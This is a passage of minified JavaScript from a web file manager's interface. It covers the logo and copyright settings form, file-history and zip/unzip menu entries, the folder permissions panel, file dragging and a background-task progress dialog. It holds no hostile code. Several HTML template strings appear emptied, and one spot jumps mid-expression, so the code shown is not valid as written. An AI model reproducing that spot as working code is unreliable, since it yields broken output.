    ","[@base64:"+base64Encode(i)+"@]"}):e},"autoLink":function(e,t){t=t||"";return e.replace(/(^|[\s\n]|<[A-Za-z]*\/?>)((?:https?|ftp):\/\/[\-A-Z0-9+\u0026\u2019@#\/%?=()~_|!:,.;]*[\-A-Z0-9+\u0026@#\/%=~()_|])/gi,function(e){return"[@base64:"+base64Encode(""+e+"")+"@]"})},"domDecode":function(e){return e.replace(/\[@base64:([\w\/\+\=]*)@\]/g,function(e,t){return base64Decode(t)})},"encodeSpace":function(e){return e=(e=(e=(e=(e=e.replace(/\r\n/g,"
    ")).replace(/\n/g,"
    ")).replace(/\r/g,"
    ")).replace(/ /g," ")).replace(/\t/g,"    ")},"encodeHtml":function(e){return e=this.imageEncode(e),e=this.encodeSpace(e),e=this.domDecode(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"license-step-002":"

    "+LNG["common.copyright.logoTitle"]+"

    ","systemNameType":{"display":LNG["common.copyright.formLogo"],"type":"segment","className":" license-auto-show ","value":G.system.options.systemNameType,"info":{"text":""+LNG["common.copyright.formLogoTypeWord"],"image":""+LNG["common.copyright.formLogoTypeImage"]},"switchItem":{"image":"systemLogo"},"desc":LNG["common.copyright.formLogoDesc"]+'. '+LNG["common.test"]+""},"systemLogo":{"type":"fileSelect","display":LNG["common.copyright.formLogoImage"],"className":" license-auto-show ","value":G.system.options.systemLogo,"info":{"single":"1","type":"file","makeUrl":"1","pathOpen":"./static/images/common/","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]},"desc":LNG["common.copyright.formLogoImageDesc"]},"systemLogoMenu":{"type":"fileSelect","display":LNG["common.copyright.formLogoMain"],"className":" license-auto-show ","value":G.system.options.systemLogoMenu,"info":{"single":"1","type":"file","makeUrl":"1","pathOpen":"./static/images/common/","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]},"desc":LNG["common.copyright.formLogoMainDesc"]},"license-step-004":"

    "+LNG["common.copyright.formPowerByInfo"]+"

    ","common.copyright.powerBy":{"type":"input","display":LNG["common.copyright.formPowerBy"],"value":LNG["common.copyright.powerBy"],"className":" license-auto-show "},"common.copyright.homepage":{"type":"input","display":LNG["common.copyright.formHomePage"],"value":LNG["common.copyright.homepage"],"className":" license-auto-show "},"common.copyright.contact":{"type":"input","display":LNG["common.copyright.formConcat"],"value":LNG["common.copyright.contact"],"className":" license-auto-show "},"common.copyright.desc":{"type":"textarea","display":LNG["common.copyright.formDesc"],"value":LNG["common.copyright.desc"],"desc":LNG["common.copyright.formDescTips"],"className":" license-auto-show "},"common.copyright.metaKeywords":{"type":"input","display":LNG["common.copyright.formMetaKeywords"],"value":LNG["common.copyright.metaKeywords"],"className":" license-auto-show hidden"},"common.copyright.metaName":{"type":"input","display":LNG["common.copyright.formMetaName"],"value":LNG["common.copyright.metaName"],"className":" license-auto-show hidden"}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindFileMenu":function(){this.pathAction=this.root.pathAction,this.listenTo(this.root.rightMenu,{"rightMenu.beforeShow":this.menuShow})},"menuShow":function(e){if(_.includes([".menu-path-file",".menu-simple-file",".menu-path-mini-file",".menu-path-guest-file",".menu-share-root-file"],e.menuType)){this.menuAppend(e);var t=this.pathAction.makeParamItem(),i=_.get(t,"sourceID")&&this.pathAction.auth.canWrite(e.$target)?"menuItemShow":"menuItemHide";$.contextMenu[i](e,"file-history"),$.contextMenu[i](e,"file-history-replace")}},"menuAppend":function(e){if(!e.extendFileHistory){var n=this,t={"file-history":{"name":LNG["explorer.history.list"],"className":"hidden ","icon":"ri-history-line","callback":function(e,t){var i=n.pathAction.makeParamItem();n.pathAction.pathInfo(i,"history")}}},i={"file-history-replace":{"name":LNG["explorer.history.uploadNew"],"className":"hidden ","icon":"ri-upload-fill-2","callback":function(e,t){var i=n.pathAction.makeParamItem();n.uploadNewVersion(i)}}};$.contextMenu.menuAdd(t,e,!1,".more-action"),$.contextMenu.menuAdd(i,e,!1,".fav-add"),e.extendFileHistory=!0}},"uploadNewVersion":function(e){var t=this.root.pathAction,i={"uploadApi":this.pathModel.urlMake("upload"),"uploadTo":t.pathFather(e),"single":!0,"postParam":{"fileRepeat":"replace","name":e.name},"config":_.extend({"accept":{"title":LNG["explorer.history.uploadNew"],"extensions":e.ext,"mimeTypes":"."+e.ext}},_.clone(G.system.settings.upload))},n=t.uploadWithParam(i);return this.listenToOnce(n,{"itemUploadSuccess":function(){t.pathChangeNotify(e.path),Events.trigger("explorer.panel.history.change",e.path)}}),n}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var o=n(i(2)),s=n(i(432)),l=i(156);function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.$el=this.$(".tab-group-pan .panel-auth"),this.pathInfo={},this.listenTo(this.parent,"tabChange.panel-auth",this.reloadView),this.bindNotify()},"bindNotify":function(){var n=this;Events.bind("explorer.panel.auth.change",function(e,t){if(t!=n){var i=n.pathInfo;_.get(i,"path")==e&&(n.pathInfo={},n.reloadView(i))}},this)},"reloadView":function(t){if(this.pathInfo.path!=t.path){this.pathInfo=t;var i=this,e={"path":t.path,"action":"getData"},n=Tips.loadingMask(this.$el,!1,.2);this.$(".panel-content").html(""),this.form&&this.form.objectRemove(),this.pathModel.setAuth(e,function(e){if(n.close(),!e.code)return Tips.tips(e,"warning");i.initFormView(t,e.data,i.$(".panel-content"))})}},"initFormView":function(e,t,i){var n=(0,s["default"])().base,a=e.targetID;"1"!=(n.auth.attr["data-parentGroup"]=a)&&(n.auth.attr["data-rootParam"]="appendRootGroup");var r=this.authParseResponse(t);n.authSelf.value=_.get(e,"auth.authInfo.id"),r.allAuth&&(n.allAuthType.value="set",n.allAuth.value=r.allAuth),n.auth.value=r.list,this.form=new o["default"]({"parent":this,"formData":n}),this.form.renderTarget(i),this.bindEvent(i,e),this.initViewFinished?i.find(".config-box").hide().delay(50).fadeIn(150):(this.initViewFinished=!0,i.find(".config-box").hide().delay(50).fadeIn(250))},"authParseResponse":function(e){var n={"user":{},"group":{}},a=!1;return _.each(e,function(e){var t=e.targetType==l.SOURCE_TYPE.group?"group":"user",i=e.targetID+"";"0"!=i?n[t][i]=e.authID+"":a=e.authID+""}),{"allAuth":a,"list":n}},"bindEvent":function(e,t){var i=this,n=this.root.pathAction;e.addClass("form-box-title-block"),e.find(".source-auth-info").bind("click",function(){n.auth.authLabel.authShow()}),e.find(".form-save-button").bind("click",function(e){i.authSave(t,function(e){if(!e.code)return Tips.tips(e,"warning");Events.trigger("explorer.panel.auth.change",t.path,i),Tips.tips(e)})}),e.find("[name=auth]").bind("change",function(){i.checkHaveSelf(i.form)}),e.find(".form-reset-button").unbind("click").bind("click",function(e){$.dialog.confirm(LNG["explorer.ifPathAuthClear"],function(){i.authClear(t)})})},"checkHaveSelf":function(e){var t=G.user.userID,i=jsonDecode(e.getValue("auth"));if(i){var n=i.user||i;if(!_.isUndefined(n[t]))e.$el.find(".auth-select-box").find('[data-type="userID"]').filter('[data-id="'+t+'"]').addClass("disabled")}},"authSave":function(e,t){var i=[],n=G.user.userID,a=_.get(e,"auth.authInfo.id","1"),r=this.form.getValue();i.push({"targetType":l.SOURCE_TYPE.user,"targetID":n,"authID":a}),"set"==r.allAuthType&&i.push({"targetType":l.SOURCE_TYPE.user,"targetID":0,"authID":r.allAuth}),r.auth=jsonDecode(r.auth),r.auth?r.auth.user?(_.each(r.auth.user,function(e,t){i.push({"targetType":l.SOURCE_TYPE.user,"targetID":t,"authID":e})}),_.each(r.auth.group,function(e,t){i.push({"targetType":l.SOURCE_TYPE.group,"targetID":t,"authID":e})})):_.each(r.auth,function(e,t){i.push({"targetType":l.SOURCE_TYPE.user,"targetID":t,"authID":e})}):"set"!=r.allAuthType&&(i={});var o={"path":e.path,"auth":i};this.pathModel.setAuth(o,t)},"authClear":function(t){var i=this,e={"path":t.path,"action":"clearChildren"};this.pathModel.setAuth(e,function(e){if(!e.code)return Tips.tips(e,"warning");Events.trigger("explorer.panel.auth.change",t.path,i),Tips.tips(e)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=r(i(462)),a=r(i(463));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.$el=this.$root.find(".frame-main-explorer,.frame-main-desktop"),this.$main=this.$(".file-continer"),this.initChildren(),this.bindDrag()},"bindDrag":function(){this.$main.drag({"delegate":".file","mustMove":!0,"cursor":"default","start":_.bind(this.dragStart,this),"move":_.bind(this.dragMove,this),"end":_.bind(this.dragEnd,this)})},"initChildren":function(){this.fileLight=this.parent.fileLight,this.drop=new n["default"]({"parent":this}),this.autoEvent=new a["default"]({"parent":this})},"getSelect":function(e){var t=this.parent.fileLight,i=this.root.pathAction.auth,n=$();t.$listSelect.each(function(){var e=$(this);i.canCopyCute(e)&&(n=n.add(e))}),this.$select=n},"dragStart":function(e){var t=this;return $.contextMenu.hidden(),!e.shiftKey&&(this.getSelect(e),0!=this.$select.length&&($(document).one("keyup",function(e){27==e.which&&t.clearDrag(e)}),this.clearDrag(e),this.dragTipsMake(e),this.fileDragMake(e),this.isDraging=!0,void this.trigger("dragStart",e)))},"dragMove":function(e){if(this.isDraging){var t=e.clientX+this.offsetMouseX,i=e.clientY+this.offsetMouseY;this.$dragTips.css({"left":t,"top":i}),this.fileDragUpdate(t,i+this.offsetBoxTop),this.trigger("dragMove",e)}},"dragEnd":function(e){if(this.trigger("dragEnd",e),this.isDraging){var t=this;this.fileDragRemove(),this.$dragTips.addClass("animated-500 flipOutXLine"),this.$dragTips.fadeOut(this.animateTime,function(){t.$dragTips.remove()})}else this.clearDrag(e)},"clearDrag":function(e){this.isDraging=!1,clearTimeout(this.timerDelayRemove),this.$drag.remove(),this.$dragTips.remove(),this.$select.removeClass("item-file-draging"),this.trigger("clearDrag")},"isDraging":!1,"animateTime":150,"offsetMouseX":15,"offsetMouseY":-5,"offsetTime":5,"offsetBoxTop":35,"$drag":$(),"$dragList":$(),"$select":$(),"$dragTips":$(),"dragTipsMake":function(){var e=this.$select.length,t='\n\t\t\t
    \n\t\t\t\t
    '+e+"
    \n\t\t\t\t"+e+" "+LNG["common.file"]+"\n\t\t\t
    ";this.$dragTips=$(t).appendTo(this.$el)},"fileDragMake":function(e){this.fileDragRender(e);var n=this.$dragList;this.$select.addClass("item-file-draging"),n.each(function(e){var t=$(n.prevObject[e]),i=t.offset();$(this).css({"left":i.left,"top":i.top,"width":t.width()}),$(this).data({"offset":i,"cloneFrom":t})})},"fileDragRender":function(e){var t="file-list-"+this.userModel.getOption("listType"),i="\n\t\t\t
    \n\t\t\t\t
    \n\t\t\t
    ";this.$drag=$(i).appendTo(this.$el);var n=this.$select.clone();(50<=this.$select.length||$.browser.msie)&&(n=$(e.target).parents(".file").clone());n.appendTo(this.$drag.find(".file-draging")),this.$dragList=n},"fileDragUpdate":function(n,a){var l=this;this.destX=n,this.destY=a,this.$dragList.each(function(e){var s=$(this),t={"left":n,"top":a};if("finished"==s.data("animate"))return s.css(t);if(!s.data("animateStart")){s.data("animateStart","1");var i=l.animateTime+e*l.offsetTime;s.animate({"opacity":1},{"duration":i,"easing":"swing","progress":function(e,t,i,n,a){var r=s.data("offset"),o={"left":(l.destX-r.left)*t+r.left,"top":(l.destY-r.top)*t+r.top};s.css(o)},"complete":function(){s.data("animate","finished")}})}})},"destX":0,"destY":0,"fileDragRemove":function(){var r=this,o=1.5*r.animateTime;this.$dragList.each(function(e){var t=$(this),i=o+e*r.offsetTime,n=t.data("offset"),a=t.data("cloneFrom");a&&a.exists()?t.stop().animate(n,i,function(){a.removeClass("item-file-draging"),t.remove()}):t.stop().animate({"opacity":0},i,function(){t.remove()})}),this.timerDelayRemove=this._delay(function(){r.$drag.remove(),r.$select.removeClass("item-file-draging"),r.$dragList=$()},10+o+this.$dragList.length*r.offsetTime)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var e='';return{"new-folder":{"name":LNG["explorer.newFolder"]+"Alt+M","icon":"ri-folder-fill-3","accesskey":"n"},"new-file":{"name":LNG["explorer.newFile"],"accesskey":"j"},"open":{"name":LNG["common.open"]+"Enter","icon":"ri-external-link-line","accesskey":"o"},"open-father":{"name":LNG["explorer.openFather"],"icon":"ri-folder-fill-3","accesskey":"f"},"refresh":{"name":LNG["common.refresh"]+"F5","icon":"ri-refresh-line","accesskey":"e"},"path-info":{"name":LNG["explorer.info"]+"Alt+I","icon":"ri-information-line","accesskey":"i"},"path-auth":{"name":LNG["admin.setting.auth"]+"Alt+Shift+I","icon":"ri-lock-line-2","accesskey":"q"},"copy":{"name":LNG["explorer.copy"]+"Ctrl+C","icon":"ri-file-copy-line-2","accesskey":"c"},"cute":{"name":LNG["explorer.cute"]+"Ctrl+X","icon":"ri-scissors-fill","accesskey":"k"},"past":{"name":LNG["explorer.past"]+"Ctrl+V","icon":"ri-survey-line","className":"explorer-past-item past","accesskey":"p"},"copy-to":{"name":LNG["explorer.copyTo"],"icon":"ri-file-copy-line-2"},"cute-to":{"name":LNG["explorer.cuteTo"],"icon":"ri-scissors-fill"},"clipboard":{"name":LNG["explorer.clipboard"],"icon":"ri-inbox-line","accesskey":"v"},"download":{"name":LNG["common.download"],"icon":"ri-download-fill-2","accesskey":"x"},"rename":{"name":LNG["common.rename"]+"F2","icon":"ri-pencil-fill","accesskey":"r"},"remove":{"name":LNG["common.delete"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"clone":{"name":LNG["explorer.clone"],"icon":"ri-file-copy-line-2"},"search":{"name":LNG["explorer.searchInPath"],"icon":"ri-search-line","accesskey":"s"},"upload":{"name":LNG["common.upload"],"icon":"ri-upload-fill-2","accesskey":"u"},"upload-file":{"name":LNG["explorer.uploadFile"]+"Ctrl+U","icon":"ri-upload-fill-2"},"upload-folder":{"name":LNG["explorer.uploadFolder"],"icon":"ri-upload-fill-2","className":"upload upload-folder"},"server-download":{"name":LNG["explorer.downOffline"],"className":"download"},"recycle-clear":{"name":LNG["explorer.recycleClear"],"icon":"ri-delete-bin-line-6","accesskey":"c"},"recycle-restore":{"name":LNG["explorer.recycleRestoreItem"],"icon":"ri-arrow-go-back-line","accesskey":"r"},"recycle-delete":{"name":LNG["common.deleteForce"]+"Shift+Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"recycle-restore-all":{"name":LNG["explorer.recycleRestoreAll"],"icon":"ri-arrow-go-back-line","accesskey":"r"},"share-to-file":{"name":LNG["explorer.share.innerTo"],"icon":"ri-share-fill","accesskey":"e"},"share-to-edit":{"name":LNG["common.edit"]+e+LNG["explorer.share.shareTo"],"icon":"ri-share-fill","accesskey":"e"},"share-to-remove":{"name":LNG["common.cancel"]+e+LNG["explorer.share.shareTo"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"share-link-file":{"name":LNG["explorer.share.linkTo"],"icon":" x-share-link","accesskey":"l"},"share-link-edit":{"name":LNG["common.edit"]+e+LNG["explorer.share.linkTo"],"icon":"x-share-link","accesskey":"e"},"share-link-remove":{"name":LNG["common.cancel"]+e+LNG["explorer.share.linkTo"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"share-open-window":{"name":LNG["explorer.share.openPage"],"icon":"ri-external-link-line","accesskey":"b"},"fav-add":{"name":LNG["explorer.addToFav"],"icon":"ri-star-fill","accesskey":"f"},"fav-remove":{"name":LNG["explorer.favRemove"],"icon":"ri-star-line","accesskey":"d"},"fav-rename":{"name":LNG["common.rename"],"icon":"ri-pencil-fill","accesskey":"r"},"fav-move-top":{"name":LNG["common.moveTop"],"icon":"ri-arrow-up-line","accesskey":"u"},"fav-move-bottom":{"name":LNG["common.moveBottom"],"icon":"ri-arrow-down-line","accesskey":"d"},"tag-edit":{"name":LNG["explorer.tag.edit"],"icon":"ri-bookmark-line-3","accesskey":"e"},"tag-remove":{"name":LNG["common.delete"],"icon":"ri-delete-bin-line-6","accesskey":"d"},"tag-move-top":{"name":LNG["common.moveTop"],"icon":"ri-arrow-up-line","accesskey":"u"},"tag-move-bottom":{"name":LNG["common.moveBottom"],"icon":"ri-arrow-down-line","accesskey":"d"},"app-install":{"name":LNG["explorer.app.app"],"icon":"ri-apps-fill","accesskey":"a"},"setting-wall":{"name":LNG["admin.setting.wall"],"icon":"ri-image-line","accesskey":"b"},"setting-theme":{"name":LNG["admin.setting.theme"],"icon":"ri-dashboard-line-2","accesskey":"i"},"setting-user":{"name":LNG["admin.userManage"],"icon":"ri-settings-fill-5","accesskey":"t"},"file-embed":{"name":LNG["explorer.embed.title"],"icon":"ri-code-box-line","accesskey":"a"},"set-background":{"name":LNG["explorer.setBackground"],"icon":"ri-image-line","accesskey":"x"},"explorer":{"name":LNG["explorer.folderManage"],"icon":"ri-folder-fill-3","accesskey":"v"},"explorer-editor":{"name":LNG["explorer.openWithAce"],"icon":"ri-edit-box-line","accesskey":"e"},"create-link-home":{"name":LNG["explorer.createLinkHome"],"icon":"x-item-icon x-app-link","accesskey":"l"},"create-link":{"name":LNG["explorer.createLink"],"icon":"x-item-icon x-app-link"},"select-all":{"name":LNG["common.selectAllItem"]+"Ctrl+A"},"select-reverse":{"name":LNG["common.selectInvert"]+"Shift+Ctrl+A"},"select-clear":{"name":LNG["common.selectNull"]+"Shift+Ctrl+A"},"share-to-me-all":{"name":LNG["common.all"],"icon":"ri-checkbox-multiple-fill"},"share-to-me-show":{"name":LNG["common.default"],"icon":"ri-eye-line"},"share-to-me-hide":{"name":LNG["common.isHide"],"icon":"ri-eye-off-line"},"share-hide":{"name":LNG["common.hide"],"icon":"ri-eye-off-line"},"share-show":{"name":LNG["common.cancelHide"],"icon":"ri-eye-fill"},"refresh-tree":{"name":LNG["explorer.refreshTree"],"icon":"ri-refresh-line","accesskey":"e"},"open-with":{"name":LNG["explorer.openWith"],"icon":" ri-external-link-line","accesskey":"a","items":{"open-with-first":{"name":"","className":"hidden"}}},"new-file-others":{"name":LNG["explorer.newFile"],"icon":" ri-file-line","accesskey":"w","items":{"new-file":{"name":"txt "+LNG["common.file"],"icon":"x-item-icon x-txt small"},"new-file-md":{"name":"md "+LNG["common.file"],"icon":"x-item-icon x-md"},"new-file-html":{"name":"html "+LNG["common.file"],"icon":"x-item-icon x-html"},"step1011":"--------","new-file-docx":{"name":"Word docx "+LNG["common.file"],"icon":"x-item-icon x-docx"},"new-file-xlsx":{"name":"Excel xlsx "+LNG["common.file"],"icon":"x-item-icon x-xlsx"},"new-file-pptx":{"name":"PowerPoint pptx "+LNG["common.file"],"icon":"x-item-icon x-pptx"},"step1012":"--------","app-install":{"name":LNG["explorer.app.app"],"icon":"x-item-icon x-app-store","accesskey":"a"}}},"set-list-type":{"name":LNG["explorer.file.listType"],"icon":" ri-inbox-line","items":{"set-list-icon":{"name":LNG["explorer.file.listIcon"],"className":"set-list-type-item"},"set-list-list":{"name":LNG["explorer.file.listList"],"className":"set-list-type-item"},"set-list-split":{"name":LNG["explorer.file.listListSplit"],"className":"set-list-type-item"}}},"set-sort-by":{"name":LNG["explorer.file.orderType"],"accesskey":"y","icon":"ri-sort-desc","items":{"set-sort-name":{"name":LNG["explorer.file.name"],"className":"set-sort-field-item"},"set-sort-ext":{"name":LNG["explorer.file.type"],"className":"set-sort-field-item"},"set-sort-size":{"name":LNG["explorer.file.size"],"className":"set-sort-field-item"},"set-sort-modifyTime":{"name":LNG["explorer.file.modifyTime"],"className":"set-sort-field-item"},"step1021":"--------","set-order-up":{"name":LNG["explorer.file.sortUp"],"className":"set-sort-order-item"},"set-order-down":{"name":LNG["explorer.file.sortDown"],"className":"set-sort-order-item"}}},"set-icon-size":{"name":LNG["explorer.toolbar.fileSizeTitle"],"icon":" ri-image-line","items":{"icon-size-smallx":{"name":LNG["explorer.toolbar.fileSizeSuper"],"className":"set-icon-size-item"},"icon-size-small":{"name":LNG["explorer.toolbar.fileSizeSmall"],"className":"set-icon-size-item"},"icon-size-default":{"name":LNG["explorer.toolbar.fileSizeDefault"],"className":"set-icon-size-item"},"icon-size-big":{"name":LNG["explorer.toolbar.fileSizeBig"],"className":"set-icon-size-item"},"icon-size-bigx":{"name":LNG["explorer.toolbar.fileSizeBigSuper"],"className":"set-icon-size-item"}}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var o=function n(e){return e&&e.__esModule?e:{"default":e}}(i(480));t["default"]=ClassBase.extend({"extSupport":"zip,tar,gz,tgz,ipa,apk,rar,7z,iso,bz2,zx,z,arj,epub","init":function(e){this.pathAction=this.root.pathAction,this.initZipView(),this.listenTo(this.root.rightMenu,{"rightMenu.beforeShow":this.menuShow}),this._delay(this.resetDownload,100)},"initZipView":function(){var n=this;this.supportZip()&&kodApp.add({"name":"zipView","title":LNG["admin.plugin.defaultZipView"],"sort":-1,"ext":this.extSupport,"icon":STATIC_PATH+"images/file_icon/icon_file/zip.png","callback":function(e,t,i){(n.pathModel?n:kodApp.pathAction.root.plugins.zipView).initView(e,i)}})},"supportZip":function(){return"share"!=this.root.pageType||"1"==_.get(G,"system.options.shareLinkZip")},"menuShow":function(n){if(_.includes([".menu-path-folder",".menu-path-file",".menu-path-more",".menu-path-folder-tree",".menu-simple-folder",".menu-simple-file",".menu-simple-more",".menu-path-mini-folder",".menu-path-mini-file",".menu-path-guest-folder",".menu-path-guest-file",".menu-path-guest-more",".menu-toolbar-io-more",".menu-toolbar-source-more",".menu-toolbar-pathDefault-more",".menu-toolbar-shareItem-more"],n.menuType)){var e=this.menuAppend(n),t=this.extSupport.split(","),i=e&&_.includes(t,e.ext)?"menuItemShow":"menuItemHide";$.contextMenu[i](n,"unzip");var a=this.pathAction.auth.canWrite(n.$target);this._each(["zip","unzip"],function(e,t){var i=this.pathAction.auth.authCheck(e,n.$target);a&&i||$.contextMenu.menuItemDisable(n,e)})}},"menuAppend":function(e){var t=this.actionGetInfo(e.$target,"makeParamItem");if(e.extendZipView)return t;var i=_.bind(this.doAction,this),n={"unzip":{"name":LNG["explorer.unzip"],"icon":"ri-folder-open-line","items":{"unzip-this":{"name":LNG["explorer.unzipThis"],"icon":"ri-external-link-line","callback":i},"unzip-folder":{"name":LNG["explorer.unzipFolder"],"icon":"ri-external-link-line","callback":i},"unzip-to":{"name":LNG["explorer.unzipTo"],"icon":"ri-external-link-line","callback":i}}}},a={"zip":{"name":LNG["explorer.zip"],"icon":"ri-external-link-line","items":{"zip-zip":{"name":"ZIP "+LNG["common.file"],"icon":"ri-external-link-line","callback":i},"sep1010":"--------","zip-tar":{"name":"TAR "+LNG["common.file"],"icon":"ri-external-link-line","callback":i},"zip-tgz":{"name":"GZIP "+LNG["common.file"],"icon":"ri-external-link-line","callback":i}}}};return $.contextMenu.menuAdd(n,e,"",".more-action"),t&&"folder"!=t.type?$.contextMenu.menuAdd(a,e,".more-action .context-menu-separator"):_.includes([".menu-path-folder",".menu-path-file",".menu-path-more",".menu-simple-folder",".menu-simple-file",".menu-simple-more",".menu-path-mini-folder",".menu-path-mini-file",".menu-path-guest-folder",".menu-path-guest-file",".menu-path-guest-more",".menu-toolbar-io-more",".menu-toolbar-source-more",".menu-toolbar-pathDefault-more",".menu-toolbar-shareItem-more"],e.menuType)&&$.contextMenu.menuAdd(a,e,"",".path-info"),e.extendZipView=!0,t},"initView":function(n,a){var r=this;this.pathModel.unzipList({"path":n},function(e){if(e&&e.code&&!_.isString(e.data)){var t="zipViewDialog"+roundString(4),i=new o["default"]({"parent":r});i.initDialog(n,a,e.data),r[t]=i}})},"actionGetInfo":function(e,t){var i=this.pathAction;return $.isDom(e)&&e.hasClass("tree-node")&&(i=this.root.tree.treeAction),i[t]()},"doAction":function(e,t){switch(e){case"unzip-this":this.unzipFile("this");break;case"unzip-folder":this.unzipFile("folder");break;case"unzip-to":this.unzipFile("to");break;case"zip-zip":this.zip("zip",t);break;case"zip-tar":this.zip("tar",t);break;case"zip-tgz":this.zip("tgz",t)}},"unzipFile":function(e){var t=this.pathAction.makeParamItem();this.unzip(e,t.path,t.name)},"zip":function(e,t){var i=this.actionGetInfo(t.$target,"makeParamArray");if(i){if(!this.pathAction.auth.canWrite())return Tips.notify.tips(LNG["explorer.noPermissionWrite"],"warning",3e3),!1;if(!this.root.spaceSize.spaceCheck())return Tips.notify.tips(LNG["explorer.spaceIsFull"],"warning",3e3),!1;this.pathAction.flagCurrentPath();var n=this;i=$.extend({},{"type":e},i),this.pathModel.zip(i,function(e){n.pathAction.refreshCallback(e)})}},"unzip":function(e,t,i){var n=3',"icon":" ri-file-line-3","content":LNG["explorer.loading"]}),a=c.requestSend(c.apiConfig[o],e,function(e){clearTimeout(r),n.close(e),e&&(e.code&&!_.isString(e.data)||(e.data=""),t&&t(e))},i,o);n.$main.find(".clear").hide();var r=s._delay(function(){a.abort(),s.listTips[e.longTaskID]={"timer":!1,"tips":n},s.notifyView(n,e.longTaskID,t),s.bindDialogEvent(n.$main)},1e3);return a}})},"notifyView":function(o,s,l){this.model.get({"id":s},_.bind(function(e){if(!e||!e.code||_.isEmpty(e.data))return this.listTips[s]=!1,o.close({"code":!1,"data":""}),void(l&&l({"code":!1,"data":""}));if("task_finished"==e.info)return this.listTips[s]=!1,o.close(e.data),e.data.code&&!_.isString(e.data.data)||(e.data.data=""),void(l&&l(e.data));this.listTips[s]&&(this.listTips[s].timer=this._delay(function(){this.notifyView(o,s,l)},this.refreshDelay));var t=this.itemParse(e.data),i=o.$main.find(".list-item");if(0==i.length){var n=c(160),a=this.renderHtml(n,{"item":t},!1),r=o.$main.find(".kui-notify-content-message");a='
    '+a+"
    ",r.removeClass("hidden"),r.html(a)}else this.itemUpdate(t,i)},this))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(407)),r=a(i(64));function a(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.model=new n["default"]({"parent":this}),this.reloadView=_.bind(this.reloadView,this),this.refreshDelay=800,this.bindEvent()},"bindEvent":function(){var e=this.$el;e.undelegate(".task-view-dialog","click"),e.delegate(".task-view-dialog","click",_.bind(this.initViewDialog,this)),this.bind("onRemove",function(){e.undelegate(".task-view-dialog","click")})},"initViewDialog":function(){if(!this.view){var e=this,t=i(408);this.view=$.dialog({"className":"task-list-view-dialog dialog-bg-blur","ico":' ',"title":LNG["common.task.name"],"width":450,"height":600,"padding":0,"content":this.renderHtml(t,!1,!1),"resize":!0,"fixed":!0,"close":function(){e.view=!1,e.dataBefore=!1,clearTimeout(e.refreshTimer),this.refreshTimer=!1}}),this.bindDialogEvent(this.view.$main),this.refreshTimer=this._delay(this.reloadView,this.refreshDelay),this.bind("onRemove",function(){clearTimeout(this.refreshTimer),this.refreshTimer=!1}),this.initViewDialogAfter()}},"initViewDialogAfter":function(){},"reloadView":function(){if(this.view){var o=i(160),s=this.view.$main;clearTimeout(this.refreshTimer),this.model.list(!1,_.bind(function(e){if(this.view){this.refreshTimer=this._delay(this.reloadView,this.refreshDelay);var a=this.dataBefore||{},i={};e&&e.code?_.each(e.data,function(e){i[e.id]=e}):i=this.dataBefore,this._each(a,function(e,t){i[t]||(s.find('[data-id="'+e.id+'"]').remove(),a[t]=null)});var r=!1;this._each(i,function(e,t){e=this.itemParse(e);var i=s.find('[data-id="'+e.id+'"]');if(a[t])this.itemUpdate(e,i);else{var n=this.renderHtml(o,{"item":e},!1);r?$(n).insertAfter(s.find('[data-id="'+r.id+'"]')):$(n).appendTo(s.find(".list-content"))}r=e}),_.isEmpty(i)?(s.find(".list-empty").removeClass("hidden"),s.find(".task-kill-all").addClass("hidden"),s.find(".list-item").remove()):(s.find(".list-empty").addClass("hidden"),s.find(".task-kill-all").removeClass("hidden")),this.dataBefore=i}},this))}},"itemUpdate":function(e,t){t.attr("data-status")!=e.status&&(t.removeClass("status-"+t.attr("data-status")),t.attr("data-status",e.status).addClass("status-"+e.status)),t.find(".current").html(e.viewCurrent),t.find(".time .time-use em").html(e.viewUseTime),t.find(".time .time-need em").html(e.viewNeedTime),t.find(".kui-process").attr("title",e.viewPercent),t.find(".kui-process-use").css({"width":e.viewPercent}),t.find(".kui-process-info").html(e.viewPercentInfo),t.find(".item.title").html(e.viewTitle)},"itemParse":function(e){e.viewUserInfo||(e.viewUserInfo=r["default"].userInfo(e.userInfo)),e.viewTitle=e.title||LNG[e.type]||e.type||e.id,e.copyMoveList&&(e.viewTitle+=e.copyMoveList.listNumber+LNG["common.items"]),e.viewStartTime=dateFormat(e.timeStart,"m-d H:i:s"),e.viewPercent=(100*e.taskPercent).toFixed(1)+"%",e.viewUseTime=timeShow(e.timeUse),e.viewNeedTime=timeShow(e.timeNeed);var t=e.taskFinished+"/"+e.taskTotal;if(e.viewPercentInfo=""+t+" "+LNG["common.item"]+"",e.viewCurrent="",e.currentTitle&&(e.currentFileName=e.currentTitle+" "+(e.currentFileName||"")),e.currentFileName){var i="";e.currentFileSize&&(i=pathTools.fileSize(e.currentFileFinished)+"/"+pathTools.fileSize(e.currentFileSize)),i=i?"("+i+")":"",e.viewCurrent+=""+e.currentFileName+i+""}if(e.sizeTotal){var n=pathTools.fileSize(e.sizeTotal),a=pathTools.fileSize(e.sizeFinished);e.viewCurrent+=""+a+"/"+n+""}return e.viewCurrent||(e.viewCurrent=e.viewStartTime),e},"bindDialogEvent":function(e){var n=this;e.delegate("[data-action]","click",function(e){var 